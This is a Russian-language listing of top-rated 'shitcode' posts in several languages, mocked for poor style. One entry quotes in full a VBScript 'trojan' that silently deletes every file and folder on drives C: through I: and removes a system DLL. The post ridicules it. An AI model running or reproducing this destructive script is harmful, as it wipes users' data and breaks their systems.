1. Лучший говнокод

    В номинации:
    За время:
  2. C# / Говнокод #17470

    +91

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    private static int NumberOfLeadingSpaces(string str)
    {
        str = str.TrimEnd();
        return str.Length - str.Trim().Length;
    }

    Из моего проекта. Так я писал код 1.5 год назад.
    Вместо того, чтобы пройтись циклом с начала строки, пока не встретиться символ, не являющийся пробелом.

    Janycz, 18 Января 2015

    Комментарии (44)
  3. C++ / Говнокод #17314

    +56

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    int GUIFont::getTextSize (std::string::iterator &begin, std::string::iterator &end ) { 
        int size = 0; 
        while(begin != end ) { 
            uint32_t id = utf8::unchecked::next (begin ); 
            CharDescriptor *cd = chars- >getChar(id); 
            size += cd- >xadvance; 
        } 
        return size;
    } 
    
    int GUIFont::getTextSize (std::string &text ) { 
        return getTextSize (text.begin (), text.end ());
    } 
    
    int GUIFont::getTextSize (std::wstring &text ) {
        std::string utf8text;
        utf8::utf16to8 (text.begin (), text.end (), back_inserter (utf8text ));
        return getTextSize (utf8text.begin (), utf8text.end ());
    }

    Вот так я зафейлил...
    И что самое главное - студия сожрала и даже ворнинга не кинула, а эклипс ни в какую.
    Без добрых людей на гейдеве не допер бы что к чему.

    Pythoner, 15 Декабря 2014

    Комментарии (44)
  4. PHP / Говнокод #17085

    +157

    1. 1
    2. 2
    3. 3
    4. 4
    foreach ($account->lists as $list) {
    print "LIST Name: " . $list->name; echo '&nbsp'; echo '&nbsp'; echo '&nbsp'; print "LIST Id: " . $list->id;
    echo "<br>";
    }

    Не говоря о том, что особой разницы между print и echo в ПХП нет, стоит отметить, что после «nbsp» пропущены точки с запятыми и всё тело этого фора можно было бы вывести одной строчкой.

    KEKC, 08 Ноября 2014

    Комментарии (44)
  5. JavaScript / Говнокод #16268

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    function redirect(){
            setTimeout("redirect1();", 60000)
    }
    
    function redirect1(){
            if(parent.lan_ipaddr == "192.168.1.1")
                    if(navigator.appName.indexOf("Microsoft") >= 0){
                            parent.location.reload();                       
                            //parent.location.href = "http://192.168.1.1/index.asp?t="+new Date().getTime();
                    }
                    else{
                            //parent.location.href = "http://192.168.1.1/";
                            parent.parent.location.href = parent.parent.location.href;
                    }
            else{
                    parent.$('drword').innerHTML = "<#Setting_factorydefault_iphint#><br/>";
                    setTimeout("parent.hideLoading()",1000);
                    setTimeout("parent.dr_advise();",1000);
            }
    }

    Решил тут посмотреть сорцы вебморды роутера

    Fike, 02 Июля 2014

    Комментарии (44)
  6. Python / Говнокод #16142

    −97

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    jstemplate = ''
    jstemplate += '$(document).ready(function () {'
    jstemplate += '    $(document).on("click", ".im", function () {'
    jstemplate += '        if ($(this).attr("src") != "") {'
    jstemplate += '            $("#im").attr("src", $(this).attr("src"));'
    jstemplate += '            $("#FixedBlack").show().fadeTo(200, 1);'
    jstemplate += '            $("#im").show().fadeTo(0.5, 1);'
    jstemplate += '        }'
    jstemplate += '    });'
    jstemplate += '    $(document).on("click", "#FixedBlack", function () {'
    jstemplate += '        $("#im").hide();'
    jstemplate += '        $("#FixedBlack").stop(true).fadeTo(200, 0, function () {'
    jstemplate += '            $("#FixedBlack").hide();'
    jstemplate += '        });'
    jstemplate += '    });'
    jstemplate += '});'

    Это вместо того, чтобы положить шаблон в файл и спокойно прочитать его в переменную. nuff said.

    Bispja, 10 Июня 2014

    Комментарии (44)
  7. Куча / Говнокод #15764

    +127

    1. 1
    BFAAAACOAADODBFACACGOAAOCCBDBFADCCBAACODBFADCAOAACOBGEDOCCCGAACDACCCGCCBDEEBEAAOEBBFBGFAACBADBADBGOAACBBDBBDCGEABEDBFAEBCOAAABAAOCOCAEOADADBFACACBBAAECBBBCFBCBAOAAGOBGODBODAD

    Игра для ДОС в машинных кодах на системе счисления wct. (программа - http://yadi.sk/d/i9Me1IQ7MbHCD wct editor). http://wctsite.tk.

    Mobac, 16 Апреля 2014

    Комментарии (44)
  8. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    gost, 21 Марта 2014

    Комментарии (44)
  9. Java / Говнокод #14541

    +174

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Float f = 1.25f;
    int i = Float.floatToIntBits(f);
    i++;
    f = Float.intBitsToFloat(i);
    //I wanted 2.25, but got 1.2500001 instead.

    http://stackoverflow.com/questions/9921690/java-increment-through-float-floattointbits

    3.14159265, 11 Февраля 2014

    Комментарии (44)
  10. C++ / Говнокод #14211

    +15

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    if( (Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 165 && Input.GetMouseY() <= 197) || (Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 205 && Input.GetMouseY() <= 237) ||
                (Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 85 && Input.GetMouseY() <= 117) || (Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 125 && Input.GetMouseY() <= 157) ||
    
               (Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 85 && Input.GetMouseY() <= 117) || (Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 145 && Input.GetMouseY() <= 177) ||
               (Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 205 && Input.GetMouseY() <= 237)||
    
               (Input.GetMouseX() >= 780 && Input.GetMouseX() <= 807 && Input.GetMouseY() >= 85 && Input.GetMouseY() <= 117) || (Input.GetMouseX() >= 780 && Input.GetMouseX() <= 807 && Input.GetMouseY() >= 125 && Input.GetMouseY() <= 157) ||
               (Input.GetMouseX() >= 780 && Input.GetMouseX() <= 807 && Input.GetMouseY() >= 165 && Input.GetMouseY() <= 197) || (Input.GetMouseX() >= 780 && Input.GetMouseX() <= 807 && Input.GetMouseY() >= 205 && Input.GetMouseY() <= 237) ||
    
               ...
    
            {
                int i; int e;
                if(Input.GetMouseX() >= 55 && Input.GetMouseX() <= 87 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 0;
                if(Input.GetMouseX() >= 95 && Input.GetMouseX() <= 127 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 1;
                if(Input.GetMouseX() >= 135 && Input.GetMouseX() <= 167 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 2;
                if(Input.GetMouseX() >= 175 && Input.GetMouseX() <= 207 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 3;
                if(Input.GetMouseX() >= 215 && Input.GetMouseX() <= 247 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 4;
                if(Input.GetMouseX() >= 255 && Input.GetMouseX() <= 287 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 5;
                if(Input.GetMouseX() >= 295 && Input.GetMouseX() <= 327 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 6;
                if(Input.GetMouseX() >= 335 && Input.GetMouseX() <= 367 && Input.GetMouseY() >= 210 && Input.GetMouseY() <= 242) i = 7;
    
                if(Input.GetMouseX() >= 55 && Input.GetMouseX() <= 87 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 8;
                if(Input.GetMouseX() >= 95 && Input.GetMouseX() <= 127 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 9;
                if(Input.GetMouseX() >= 135 && Input.GetMouseX() <= 167 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 10;
                if(Input.GetMouseX() >= 175 && Input.GetMouseX() <= 207 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 11;
                if(Input.GetMouseX() >= 215 && Input.GetMouseX() <= 247 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 12;
                if(Input.GetMouseX() >= 255 && Input.GetMouseX() <= 287 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 13;
                if(Input.GetMouseX() >= 295 && Input.GetMouseX() <= 327 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 14;
                if(Input.GetMouseX() >= 335 && Input.GetMouseX() <= 367 && Input.GetMouseY() >= 250 && Input.GetMouseY() <= 282) i = 15;
    
                ...
    
                if(Input.GetMouseX() >= 55 && Input.GetMouseX() <= 87 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 40;
                if(Input.GetMouseX() >= 95 && Input.GetMouseX() <= 127 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 41;
                if(Input.GetMouseX() >= 135 && Input.GetMouseX() <= 167 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 42;
                if(Input.GetMouseX() >= 175 && Input.GetMouseX() <= 207 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 43;
                if(Input.GetMouseX() >= 215 && Input.GetMouseX() <= 247 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 44;
                if(Input.GetMouseX() >= 255 && Input.GetMouseX() <= 287 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 45;
                if(Input.GetMouseX() >= 295 && Input.GetMouseX() <= 327 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 46;
                if(Input.GetMouseX() >= 335 && Input.GetMouseX() <= 367 && Input.GetMouseY() >= 410 && Input.GetMouseY() <= 442) i = 47;
    
               if(Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 85 && Input.GetMouseY() <= 117) e = 0; // Bracers
               if(Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 125 && Input.GetMouseY() <= 157) e = 1; // Hands
               if(Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 165 && Input.GetMouseY() <= 197) e = 2; // Sword
               if(Input.GetMouseX() >= 545 && Input.GetMouseX() <= 567 && Input.GetMouseY() >= 205 && Input.GetMouseY() <= 237) e = 3; // Off hand
    
               if(Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 85 && Input.GetMouseY() <= 117) e = 4; // Helmet
               if(Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 145 && Input.GetMouseY() <= 177) e = 5; // Chest
               if(Input.GetMouseX() >= 675 && Input.GetMouseX() <= 707 && Input.GetMouseY() >= 205 && Input.GetMouseY() <= 237)  e = 6; // Legs

    https://github.com/LaurentGomila/SFML/wiki/Tutorial%3A-Basic-Inventory-System

    Crazy_penguin, 11 Декабря 2013

    Комментарии (44)
  11. 1C / Говнокод #13761

    −167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    Если ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003726") Тогда //000003726 - Автолюкс 
    	СлужбаДоставкиВСМС = "AvtoLux";
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003727") Тогда //000003727 - Гюнсел 
    	СлужбаДоставкиВСМС = "GUNSEL";
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003725") Тогда //000003725 - Интайм 
    	СлужбаДоставкиВСМС = "InTime";
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003826") Тогда //000003826 - Мист экспресс
    	СлужбаДоставкиВСМС = "Meest-express";
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003932") Тогда //000003932 - Киевские ведомости 
    	СлужбаДоставкиВСМС = "Kievskie vedomosti"	
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003722") Тогда //000003722 - Новая почта
    	СлужбаДоставкиВСМС = "Nova Poshta";	
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003729") Тогда //000003729 - Ночной экспресс
    	СлужбаДоставкиВСМС = "Nochnoi express";
    ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003728") Тогда //000003728 - САТ
    	СлужбаДоставкиВСМС = "CAT";
    //.....
    
    КонецЕсли;

    Почти универсальный способ транслитизации наименования контрагента.

    rull9ss, 10 Сентября 2013

    Комментарии (44)